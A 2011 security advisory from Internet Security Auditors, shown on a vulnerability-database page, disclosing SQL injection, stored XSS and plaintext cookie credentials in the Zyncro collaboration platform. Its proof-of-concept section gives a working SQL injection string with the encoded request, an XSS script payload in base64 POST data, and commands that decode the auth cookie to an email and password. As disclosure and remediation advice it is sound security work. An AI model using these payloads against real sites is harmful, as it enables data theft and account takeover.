Lucene search
K

Zyncro Cross Site Scripting / SQL Injection

🗓️ 23 Sep 2011 00:00:00Reported by Ferran PichelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Zyncro vulnerabilities in SQL injection, Cross-Site Scripting & Cookie data transfe

Code
`=============================================  
INTERNET SECURITY AUDITORS ALERT 2011-003  
- Original release date: 13th September 2011  
- Last revised: 22nd September 2011  
- Discovered by: Ferran Pichel  
- Severity: 7.5/10 (CVSSv2 Base Scored)  
=============================================  
  
I. VULNERABILITIES  
-------------------------  
Multiple vulnerabilities in Zyncro social network.  
  
II. BACKGROUND  
-------------------------  
Zyncro is a platform designed for document collaboration, send, share  
& synchronize at an Enterprise-level. It is focused to make  
synchronization and sharing within a company easier.  
  
III. DESCRIPTION  
-------------------------  
This product has at least the next vulnerabilities:  
  
1.SQL Injection:  
SQL injection is a code injection technique that exploits a security  
vulnerability occurring in the database layer of an application (like  
queries). The vulnerability is present when user input is either  
incorrectly filtered for string literal escape characters embedded in  
SQL statements or user input is not strongly typed and thereby  
unexpectedly executed. It happens from using poorly designed query  
language interpreters.  
  
2.Persistent Cross-Site Scripting:  
The persistent (or stored) XSS vulnerability is a more devastating  
variant of a cross-site scripting flaw: it occurs when the data  
provided by the attacker is saved by the server, and then permanently  
displayed on "normal" pages returned to other users in the course of  
regular browsing, without proper HTML escaping.  
  
3.Credentials transferred using Cookie:  
Cookie data is commonly used to customize web applications, but  
sometimes some sensible data may be stored. In this case, it's  
possible to retrieve user_mail and password used to log into the  
application.  
  
IV. PROOF OF CONCEPT  
-------------------------  
1.SQL Injection:  
The vulnerable feature is located into the 'Message' menu, there are  
at least two vulnerable resources:  
/zwall/list/filter//appIdFilter//shareGroupUrnFilter/<B64_GROUP_REFERENCE>/shareGroupTypeFilter//shareDocumentUrnFilter/?popup=1&ayuda=&actualSection=folders&plainView=1&rand=9809  
/ajax/getnewmessages/filter//appIdFilter//shareGroupUrnFilter/<B64_GROUP_REFERENCE>/shareGroupTypeFilter//shareDocumentUrnFilter//dateFilter/1315854782869?popup=1&plainView=1&rand=21107  
  
B64_GROUP_REFERENCE is a base64 string used to identify the group  
internally. Those references are like:  
c3luY3J1bTpzaGFyZWdyb3VwOjMyYjMyZjljLTg3OWEtNDRjNC05ZWY1LTE2ZDQ4YTlhYTE2Nw==  
  
Once decoded:  
syncrum:sharegroup:32b32f9c-879a-44c4-9ef5-16d48a9aa167  
  
Those values are used internally to retrieve the messages related to a  
specified group. Modifying the final string and re-encoding it again  
to base64 it's possible to do an SQL Injection attack.  
  
For example, next sentence allows an attacker to read first 200  
messages from database:  
syncrum:sharegroup:32b32f9c-879a-44c4-9ef5-16d48a9aa167' or '1' like  
'1' limit 200 --  
  
Encoded:  
c3luY3J1bTpzaGFyZWdyb3VwOjMyYjMyZjljLTg3OWEtNDRjNC05ZWY1LTE2ZDQ4YTlhYTE2Nycgb3IgJzEnIGxpa2UgJzEnIGxpbWl0IDIwMCAtLQ==  
  
And finally the request:  
/zwall/list/filter//appIdFilter//shareGroupUrnFilter/c3luY3J1bTpzaGFyZWdyb3VwOjMyYjMyZjljLTg3OWEtNDRjNC05ZWY1LTE2ZDQ4YTlhYTE2Nycgb3IgJzEnIGxpa2UgJzEnIGxpbWl0IDIwMCAtLQ==/shareGroupTypeFilter//shareDocumentUrnFilter/?popup=1&ayuda=&actualSection=folders&plainView=1&rand=9809  
  
2.Persistent Cross-Site Scripting:  
One of the functionalities of Zyncro is the possibility of creating  
groups. The name and description of the groups are not correctly  
sanitized and it's possible to provoke some attacks.  
  
In order to do the attack, you must create a new group and capture the  
packet transferred to the server to modify it because validation is  
done in client-side (only) using javascript.  
  
The original request has three POST data parameters like:  
popup=1 & name=dGVzdA%3D%3D & description=dGVzdA%3D%3D  
  
Important data are 'name' and 'description' parameters, which are  
base64 encoded. In this case, both values are 'test':  
url_decode(dGVzdA%3D%3D)  
b64decode(dGVzdA==)  
test  
  
It is possible to provoke the XSS by changing those values as follows:  
"><script>alert("XSS attack")</script>  
  
Values MUST be in base64, so:  
b64encode(""><script>alert("XSS attack")</script>") =  
Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4=  
  
Finally the post-data of the request would become:  
popup=1&name=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d&description=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d  
  
Once the request has reached the server, a new group would be created  
and any time that someone sees the name/description of the group, a  
pop-up would appear, this is the easiest attack.  
  
3.Credentials transferred using Cookie:  
When an user logins to Zyncro application a cookie named '_auth' is  
set. Its aspect is like:  
_auth=VmxaT1JsVnNPVVpVVlVaS1ZFUjNha2w2TlZGUlZrNVVWakE1VTFKRWQycEplalIz;  
  
If it's b64 decoded three times:  
fpichel@debian:~$ echo -n  
VmxaT1JsVnNPVVpVVlVaS1ZFUjNha2w2TlZGUlZrNVVWakE1VTFKRWQycEplalIz |  
base64 -d  
VlZORlVsOUZUVUZKVER3akl6NVFRVk5UVjA5U1JEd2pJejR3  
  
fpichel@debian:~$ echo -n  
VlZORlVsOUZUVUZKVER3akl6NVFRVk5UVjA5U1JEd2pJejR3 | base64 -d  
VVNFUl9FTUFJTDwjIz5QQVNTV09SRDwjIz4w  
  
fpichel@debian:~$ echo -n VVNFUl9FTUFJTDwjIz5QQVNTV09SRDwjIz4w | base64 -d  
USER_EMAIL<##>PASSWORD<##>0  
  
Finally it's possible to retrieve the username and password used to  
enter the application.  
  
V. BUSINESS IMPACT  
------------------------  
The business impact depends on the type of the exploitation of each  
vulnerability. The worst scenario is the exposure of all the data  
stored in database using a Blind SQL Injection based on SQL Injection  
vulnerability described. The explained PoC may be used to read  
arbitrary messages from the database, including private messages.  
  
Another critical scenario came from the use of the Persistent XSS in  
combination with the '_auth' cookie variable vulnerability to send the  
'_auth' cookie to a server controlled by the attacker. In this case,  
it would be possible for the attacker to retrieve credentials used by  
the user in plain text, data must be base64 decoded three times. After  
that, the attacker would be able to Log In into the application as the  
victim does.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
The vulnerability affect all Zyncro versions:  
- www.zyncro.com (primary Zyncro website)  
- my.zyncro.com (demo platform)  
  
VII. SOLUTION  
-------------------------  
In order to mitigate all the exposed problems next recommendations  
should be applied:  
- Sanitize all data sent by the user before and after decoding it to  
prevent SQL Injection attacks.  
- Sanitize all data sent to the user in order to prevent XSS attacks.  
- Change authentication design so not requiring the  
user_mail/password into Cookie data.  
  
Check all parts of the application that could be vulnerable to  
described issues.  
  
VIII. REFERENCES  
-------------------------  
http://www.zyncro.com  
http://www.isecauditors.com  
  
IX. CREDITS  
-------------------------  
These vulnerabilities have been discovered by  
Ferran Pichel Llaquet (fpichel (at) isecauditors (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
September 13, 2011: Initial release.  
September 22, 2011: Last revision.  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
September 13, 2011: The vulnerability is discovered and sent  
to vendor.  
September 22, 2011: Vendor notifies all problems were already  
corrected. Sent to lists.  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is"  
with no warranties or guarantees of fitness of use or otherwise.  
Internet Security Auditors accepts no responsibility for any damage  
caused by the use or misuse of this information.  
  
XIII. ABOUT  
-------------------------  
Internet Security Auditors is a Spain based leader in web application  
testing, network security, penetration testing, security compliance  
implementation and assessing. Our clients include some of the largest  
companies in areas such as finance, telecommunications, insurance,  
ITC, etc. We are vendor independent provider with a deep expertise  
since 2001. Our efforts in R&D include vulnerability research, open  
security project collaboration and whitepapers, presentations and  
security events participation and promotion. For further information  
regarding our security services, contact us.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2011 00:00Current
0.4Low risk
Vulners AI Score0.4
31